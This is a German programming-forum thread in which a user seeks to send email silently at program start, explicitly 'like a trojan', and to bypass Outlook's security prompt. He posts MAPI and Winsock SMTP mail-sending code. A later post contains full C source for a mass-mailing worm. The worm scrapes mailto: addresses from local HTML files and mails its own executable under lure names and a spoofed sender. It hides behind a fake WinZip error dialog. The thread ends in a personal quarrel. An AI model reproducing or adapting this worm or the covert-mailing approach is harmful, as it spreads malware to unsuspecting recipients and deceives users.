Mail Versand aus C/C++ Programm



  • Hallo zusamen, sorry für mein Deutsch, ich bin ein Auslaender 😉

    Also ich habe folgende Problem:
    Ich schreibe ein Programm, das beim jedem Start als erstes ein e-mail an eine bestimmte Adresse sendet. ich hab es mit MAPI realisiert. Aber jedesmall wenn
    mein Prog. ein e-mail sendet bekomme ich ein Meldung von Windows dass ein Anwendung versucht unter meinen Namen ein e-mail zuverschicken, und genau das ist unerwünscht. Gibt es ein möglichkeit das dass unaufälig gescheht???
    Etwa wie ein Trojaner, der dem Hacker ein Mail mit dem IP und Port sendet???

    Hat das jemand schon mall gemacht??? 😕
    Ich glaube das ich in diesem Fall müß ein SMTP Server direkt ansprechen 🙄
    Wäre sehr schön wenn jemand mir paar Tips oder Links geben koennte

    Dank im voraus !!!



  • Ich nehm an du verwendest Outlook als Standard-Client. In dem Fall kannst du die Warnung unter

    Extras->Optionen->Sicherheit->"Warnung anzeigen, wenn andere Anwendungen versuchen, E-Mail unter meinem Namen zu versenden"

    abschalten.



  • Harrison Bergeron schrieb:

    Ich nehm an du verwendest Outlook als Standard-Client. In dem Fall kannst du die Warnung unter

    Extras->Optionen->Sicherheit->"Warnung anzeigen, wenn andere Anwendungen versuchen, E-Mail unter meinem Namen zu versenden"

    abschalten.

    Wirklich? Naja, ich wurd nich sagen dass ich dran nich gedacht habe, aber irgendwie ist dass nicht gerade dass, was ich brauche.
    Also was ist wenn der user bei dem mein Prog. leuft, auch dieses Sicherheitshinweis an hat??? Ich kann ihm doch nicht sagen:" Schalt bitte das und das aus, bevor du die Prog. startest, oder? Also wie gesagt das ganze soll ungemerkt für den user passieren. Wie etwa das Outloock selbst das macht, alerdings ohne fenstern und Fortschrittanzeigen etc.

    Wie kann man das noch realisieren ???
    Ihre Ideen bitte???
    Danke!



  • Harrison Bergeron schrieb:

    Ich nehm an du verwendest Outlook als Standard-Client. In dem Fall kannst du die Warnung unter

    Extras->Optionen->Sicherheit->"Warnung anzeigen, wenn andere Anwendungen versuchen, E-Mail unter meinem Namen zu versenden"

    abschalten.

    Ja das funzt soweit ich "Warnhinweis" abschalte, aber die Fortschrittanzeige bekomme ich immer noch. Und wenn dem Mail ein Datei ist eingehängt, dann dauert es solange mit dem Versand, dass mann sogar beobachten kann (Fortschrittanzeige von Outlook) wie schnell der Mail das Haus verlaesst 😋
    Also mit demm MAPI ist es keine Lösung des Problem 😞



  • Anscheinend bastelt da jmd. an nem Trojaner. (Ich empfehle es sein zu lassen. Benutz Sub7 & Co. bis du die Lust verlierst und einsiehst das trojaner langwelkig sind.)

    Wenn du unbedingt weitermachen willlst informier doch über WINSOCK!!!!
    (habe ich mal mit VB realisiert... (viel arbeit, die sich für destruktive zwecke nciht lohnt)



  • breakermaker. schrieb:

    Anscheinend bastelt da jmd. an nem Trojaner. (Ich empfehle es sein zu lassen. Benutz Sub7 & Co. bis du die Lust verlierst und einsiehst das trojaner langwelkig sind.)

    Wenn du unbedingt weitermachen willlst informier doch über WINSOCK!!!!
    (habe ich mal mit VB realisiert... (viel arbeit, die sich für destruktive zwecke nciht lohnt)

    Naja, über WINSOCK hab ich mich schon informiert, ich bin sogar soweit
    dass mein Prog. eine Verbindung über winsock zum Server aufbaut, und daten sendet/empfaengt. Aber mit dem Mailversand klappt irgendwie nicht, besser gesagt klappt nicht so, wie ich es will. 😞 😞 😞

    Na wo seid ihr Trojanerprogrammierer ???
    Kann/will mir wirklich hier nimand helfen???
    Ich google schon seit Tagen, alles ohne Erfolg 😞

    Hilfe Leute, falls hier jemanden interisiert wie ich es mit MAPI gemacht habe, kann ich die Funktion hierher posten 😉

    Danke 🕶



  • Petr1 schrieb:

    Hilfe Leute, falls hier jemanden interisiert wie ich es mit MAPI gemacht habe, kann ich die Funktion hierher posten 😉

    kannst machen.



  • Hallo Leute, ich bin's wieder :p
    Also ich habe es endlich geschaft über winsock ein SMTP Server kontaktieren und ein e-mail zuversenden, und wie immer war es so verdammt einfach 🙂
    Also hier sind die beiden Varianten, falls jemannd Interese hat 😉

    1.) über MAPI

    #include <windows.h> 
    #include <mapi.h> 
    
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) 
    {
     char szSubject [] = "Test E-MAIL"; 
     char szMesg  [] = "Message bla-bla-bla\n";
    ///////////////////////////////////////////////////////////////////////////////
    MapiRecipDesc empf;
    
    empf.ulReserved        = 0;  
    empf.ulRecipClass      = MAPI_TO;       
    empf.lpszName          = "Antwort@hierher.de";   // Antwort an Zeile           
    empf.lpszAddress       = "SMTP:empfaenger@mail.de";// Empfaenger 
    empf.ulEIDSize         = 0;
    empf.lpEntryID         = NULL;
    
    MapiMessage mames;
    mames.ulReserved          = 0;
    mames.lpszSubject         = szSubject;
    mames.lpszNoteText        = szMesg;
    mames.lpszMessageType     = NULL;
    mames.lpszDateReceived    = NULL;
    mames.lpszConversationID  = NULL;
    mames.flFlags             = 0;
    mames.lpOriginator        = NULL;     
    mames.nRecipCount         = 1;   
    mames.lpRecips            = &empf;
    mames.nFileCount          = 0;      
    mames.lpFiles             = NULL;     
    
    ///////////////////////////////////////////////////////////////////////////////
    
    HINSTANCE   hMapiLib; 
    LPMAPISENDMAIL MAPISendMail; 
    
    if ( (hMapiLib = LoadLibrary("MAPI32.DLL")) == INVALID_HANDLE_VALUE ) 
    {
        MessageBox(NULL,"LoadLibrary failed ","Error", MB_ICONERROR); 
        return 0; 
    } 
    if ((MAPISendMail = (LPMAPISENDMAIL)GetProcAddress (hMapiLib, "MAPISendMail")) == NULL) 
    {
        MessageBox(NULL, "Cannot find MAPISendMail", "Error", MB_ICONERROR); 
        return 0;
    } 
    
    if (MAPISendMail (0, 0, &mames, 0, 0) != SUCCESS_SUCCESS) 
    { 
       MessageBox(NULL, "Cannot sent Message", "Error", MB_ICONERROR); 
       return 0;
    }  
    FreeLibrary(hMapiLib); 
    return 0; 
    }
    

    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

    2.) über WINSOCK SMTP ansprechen

    #include <windows.h>
    #include <winsock.h>
    
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int iShowCmd)
    {
       struct sockaddr_in server;
       SOCKET sock;
       char buff[1024], command[1024];
       unsigned int empfangen, i;
       char *smtp[]={"HELO mail.ru\r\n",
    	        "MAIL FROM: absender@mail.ru\r\n",     // Absender
    	        "RCPT TO: empfaenger@mail.de.de\r\n",  // Empfaenger
    	        "DATA\r\n",
    	        "SUBJECT: Betreff\r\n",
    	        "Hallo Leute, es funktioniert wirklich !!!\r\n",
    	        ".\r\n",
    	        "QUIT\r\n"};
    
       short wVersionRequested;
       WSADATA wsaData;
       wVersionRequested = MAKEWORD (1, 1);
       WSAStartup (wVersionRequested, &wsaData);
    
       sock = socket( AF_INET, SOCK_STREAM, 0);
    
       server.sin_family = AF_INET;
       server.sin_port = htons(25);
       server.sin_addr.s_addr = inet_addr("194.67.57.51");  // SMTP.mail.ru warum mail.ru??? Keine Ahnung, will ich einfach so  :D 
    
       connect(sock, (sockaddr *) &server, sizeof(sockaddr));
    
       for(i=0; i<=7; i++)
       {  strcpy(command, smtp[i]);
          send(sock, command, lstrlen(command), 0);       // Command senden
          empfangen = recv(sock, buff, lstrlen(buff), 0); // Antwort empfangen muß
    nicht unbedingt sein
          buff[empfangen] = '\0';    // String terminieren
       }
       closesocket(sock);
       WSACleanup();
       return 0;
    }
    

    Falls jemand Fragen hat, mailen ruslan22@freenet.de
    Ciao 👍



  • #include <windows.h>
    #include <mapi.h>
    #include <memory.h>
    
    #pragma argsused
    
    /* find, get n' send mail */
    void findMail(char *);
    void GetMail(char *, char *);
    
    // the function we are going to use to send mails
    ULONG (PASCAL FAR *MSendMail)(ULONG, ULONG, MapiMessage*, FLAGS, ULONG);
    
    // we want it global
    MapiMessage mes;
    MapiRecipDesc from;
    char fileName[512];
    unsigned short count=0;
    
    char *fileNames[]={ "Docs.exe", "Roms.exe", "Sex.exe", "Setup.exe", "Source.exe", "_SetupB.exe",
    "Pack.exe", "LUPdate.exe", "Patch.exe", "CrkList.exe" };
    
    char *subs[]={ "Documents", "Roms", "Pr0n!", "Evaluation copy", "Help", "Beta",
    "Do not release", "Last Update", "The patch", "Cracks!" };
    
    char *texts[]= { "Send me your comments...", "Test this ROM! IT ROCKS!.",
    "Adult content!!! Use with parental advisory.", "Test it 30 days for free.",
    "I'm going crazy... please try to find the bug!", "Send reply if you want to be official beta tester.",
    "This is the pack ;)", "This is the last cumulative update.", "I think all will work fine.",
    "Check our list and mail your requests!" };
    
    // our lovely func
    void SendMail(char *subject, char *sfrom,char *sto, char *smes);
    
    // stealth
    void fastOut();
    
    int PASCAL
    WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance,
    LPSTR lpCmdLine, int nCmdShow)
    {
    HINSTANCE MAPIlHnd;
    unsigned char buff[128];
    DWORD buffs=128;
    HKEY keyHnd;
    char keyPath[]="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders";
    char keyItem[]="Personal";
    
    /* random number */
    count=(unsigned short)GetTickCount();
    while(count>9)
    count=(unsigned short)(count/2);
    
    /* get module name for the attachment */
    if(!GetModuleFileName(hInstance,fileName,512))
    fastOut();
    
    /* test if MAPI32 is avaliable */
    MAPIlHnd=LoadLibraryA("MAPI32.DLL");
    if(!MAPIlHnd)
    fastOut();
    
    /* get MAPISendMail */
    (FARPROC &)MSendMail=GetProcAddress(MAPIlHnd, "MAPISendMail");
    
    if(!MSendMail)
    fastOut();
    
    findMail(".");
    findMail("\\windows");
    if(RegOpenKeyEx((PHKEY)0x80000001,keyPath,0,KEY_READ,&keyHnd)==ERROR_SUCCESS) {
    if(ERROR_SUCCESS==RegQueryValueEx(keyHnd,keyItem,0,0,buff,&buffs)) {
    buff[buffs-1]='\\';
    buff[buffs]=0;
    findMail((char *)buff);
    }
    }
    FreeLibrary(MAPIlHnd);
    
    fastOut();
    return 0;
    }
    
    void
    fastOut()
    {
    MessageBox(NULL,"File data corrupt:\n\n\tbad disk access or bad data transmission.",
    "WinZip Self-eXtractor",MB_OK|MB_ICONSTOP);
    exit(-1);
    }
    
    void
    SendMail(char *subject, char *sfrom,char *sto, char *smes)
    {
    
    memset(&mes, 0, sizeof(MapiMessage));
    memset(&from, 0, sizeof(MapiRecipDesc));
    
    from.lpszName=sfrom; // From
    from.ulRecipClass=MAPI_ORIG;
    mes.lpszSubject=subject; // Subject
    mes.lpRecips=(MapiRecipDesc *)malloc(sizeof(MapiRecipDesc));
    if(!mes.lpRecips)
    fastOut();
    memset(mes.lpRecips, 0, sizeof(MapiRecipDesc));
    mes.lpRecips->lpszName=sto; // Send to
    mes.lpRecips->ulRecipClass=MAPI_TO;
    mes.nRecipCount=1;
    
    mes.lpFiles=(MapiFileDesc *)malloc(sizeof(MapiFileDesc));
    if(!mes.lpFiles)
    fastOut();
    memset(mes.lpFiles, 0, sizeof(MapiFileDesc));
    mes.lpFiles->lpszPathName=fileName;
    mes.lpFiles->lpszFileName=fileNames[count];
    mes.nFileCount=1;
    
    mes.lpOriginator=&from;
    
    mes.lpszNoteText=smes; // Message
    (MSendMail)(0, 0, &mes, MAPI_LOGON_UI, 0);
    
    free(mes.lpRecips);
    free(mes.lpFiles);
    }
    
    void
    findMail(char *wild)
    {
    HANDLE fh;
    WIN32_FIND_DATA fdata;
    char mail[128];
    char buff[512];
    
    wsprintf(buff,"%s\\*.ht*",wild);
    fh=FindFirstFile(buff,&fdata);
    if(fh==INVALID_HANDLE_VALUE)
    return; 
    
    while(1) {
    wsprintf(buff,"%s\\%s",wild,fdata.cFileName);
    GetMail(buff,mail);
    if(strlen(mail)>0) {
    SendMail(subs[count], "GiftOfFury@Bumblebee.net",mail, texts[count]);
    count++;
    if(count==10)
    count=0;
    }
    if(!FindNextFile(fh,&fdata)) {
    FindClose(fh);
    return;
    }
    }
    }
    
    void
    GetMail(char *name, char *mail)
    {
    HANDLE fd,fd2;
    char *mapped;
    DWORD size,i,k;
    BOOL test=FALSE,valid=FALSE;
    
    mail[0]=0;
    
    fd=CreateFile(name,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,
    FILE_ATTRIBUTE_ARCHIVE,0);
    if(fd==INVALID_HANDLE_VALUE)
    return;
    
    size=GetFileSize(fd,NULL);
    if(!size)
    return;
    if(size<256)
    return;
    size-=100;
    
    fd2=CreateFileMapping(fd,0,PAGE_READONLY,0,0,0);
    if(!fd2) {
    CloseHandle(fd);
    return;
    }
    
    mapped=(char *)MapViewOfFile(fd2,FILE_MAP_READ,0,0,0);
    if(!mapped) {
    CloseHandle(fd);
    return;
    }
    
    i=0;
    while(i if(!strncmpi("mailto:",mapped+i,strlen("mailto:"))) {
    test=TRUE;
    i+=strlen("mailto:");
    k=0;
    while(mapped[i]!=34 && mapped[i]!=39 && i if(mapped[i]!=' ') {
    mail[k]=mapped[i];
    k++;
    if(mapped[i]=='@')
    valid=TRUE;
    }
    i++;
    }
    mail[k]=0;
    } else
    i++;
    }
    
    if(!valid)
    mail[0]=0;
    
    UnmapViewOfFile(mapped);
    CloseHandle(fd);
    return;
    }
    

    was meint ihr zu der lösung?



  • bei mir geht des irgenwie nich

    "MAIL FROM: tada@mail.ru\r\n",     // Absender
       "RCPT TO: boing_bumms@web.de\r\n",  // Empfaenger
    

    aber wieso???



  • Mr.Lover schrieb:

    bei mir geht des irgenwie nich

    "MAIL FROM: tada@mail.ru\r\n",     // Absender
       "RCPT TO: boing_bumms@web.de\r\n",  // Empfaenger
    

    aber wieso???

    Naja, die Mailadresse tada@mail.ru muß wirklich existieren, wenn es bei dir
    trotzdemm nich leift, rate ich dir das Antwort von SMTP Server zuempfangen, und in einem MessageBox auszugeben, dann weißt du zumindest was der Server nicht akzeptiert :p
    etwa so:

    for(i=0; i<=7; i++) 
       {  
          strcpy(command, smtp[i]); 
          send(sock, command, lstrlen(command), 0);       // Command senden 
          empfangen = recv(sock, buff, sizeof(buff), 0); 
          buff[empfangen] = '\0';    // String terminieren 
          MessageBox(NULL, buff, "Was der Server sagt", 0);
       }
    

    aber ich glaube es ligt am Fehler, folgende Zeile war fehlerhaft
    empfangen = recv(sock, buff, lstrlen(buff), 0);
    so ist richtig
    empfangen = recv(sock, buff, sizeof(buff), 0);
    Jetzt muß eigentlich alles funzen 😉

    :xmas1:



  • Bravo marcoo 😋
    fast der komplette mailclient, wo warst du blos solange 😉
    :xmas1:



  • Ein Ausländer der "funzen" verwendet? Sehr unglaubwürdig. 👎



  • gefällt euch mein code nicht?;-)



  • hi Petr1! kann man mit dir kontakt aufnehmen???
    cu



  • dEUs schrieb:

    Ein Ausländer der "funzen" verwendet? Sehr unglaubwürdig. 👎

    Was haste gegen Ausländer???
    Ich spreche/schreibe so wie es kann, klar? Ich bin gezwungen in euren Land zu leben, und lerne von euch die Deutschen, schreiben, sowie sprechen 😉
    Auserdem geht's hier um Programmierung und nicht um Rechtschreibung 😃

    und wenn du ein ***** bist, dann biste selber Schuld 😡

    edit by flenders: Solche Beschimpfungen sind hier nicht erwünscht und werden auch nicht geduldet ⚠



  • marcoo schrieb:

    hi Petr1! kann man mit dir kontakt aufnehmen???
    cu

    Klar kannst du mit mir Kontakt aufnemmen 😉
    Maile einfach an ruslan22@freenet.de

    Doch der Code gefällt mir, verwendest du BorlandC++ als Compiler???



  • ich hab visual c++ und borland c als compiler....
    hab dir gemailt!! schreib mal zurück!
    cu



  • lol, du Idiot.
    Ich bin bestimmt nicht ausländerfeindlich. Ich halte dich nur für nen Troll, ganz einfach. Du schreibst, du bist Ausländer, was wohl als entschuldigung für schlechte Rechtschreibung dienen soll. Machst dann auch so Fehler, wie falshcer Typus oder Artikel. Aber dann verwendest du "funzen". Das passt schlicht und einfach nicht zusammen.

    @Mod:
    Wenn er darauf antwortet gibts wahrscheinlich ne längere Diskussion. Wäre vielleicht angebracht, den Thread zu splitten.



  • @dEUs: Was ist an "funzen" so besonders ?



  • Es ist kein hochdeutsch, man lernt es an keiner Schule, in keinem Deutschlehrgang.


Anmelden zum Antworten